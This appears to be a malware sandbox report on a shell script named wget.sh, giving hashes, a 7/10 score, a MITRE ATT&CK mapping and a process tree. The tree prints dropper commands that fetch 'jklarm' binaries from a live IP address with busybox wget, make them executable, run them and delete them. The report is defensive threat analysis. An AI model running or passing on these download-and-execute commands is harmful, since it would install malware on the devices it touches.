1f01bbf77fa7d6b9f9023874793cff8ebd904a3965a43a717f28f7c1474e7921

Analysis

max time kernel
132s
max time network
149s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
21/01/2025, 02:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
wget.sh
Size 1KB
Sample250121-cxgc8a1phj
SHA256 1f01bbf77fa7d6b9f9023874793cff8ebd904a3965a43a717f28f7c1474e7921
MD5 f9300ad929b1049c3b0c5d9d560fc2fb
SHA1 221575e04cf320288980e011437eb56e3b4c9580
SHA512 b596c7a0748842bd16945c97eeed838829b42efc7183f19b2d7e5367860cda0c7c3fcc7b6ed7ebb119da0134d70b472d3ada5933b11028cb7f6cdf208d916ebe
MD5 SHA1 SHA512

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
780	busybox

/tmp/wget.sh
/tmp/wget.sh
1⤵
PID:646
- /bin/busybox
  /bin/busybox wget http://193.143.1.54/jklarm -O jklarm
  2⤵
  PID:647
- /bin/busybox
  /bin/busybox chmod +x jklarm
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/jklarm
  ./jklarm NewTel
  2⤵
  PID:781
- /bin/busybox
  /bin/busybox rm -rf jklarm
  2⤵
  PID:782
- /bin/busybox
  /bin/busybox wget http://193.143.1.54/jklarm5 -O jklarm5
  2⤵
  PID:783

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads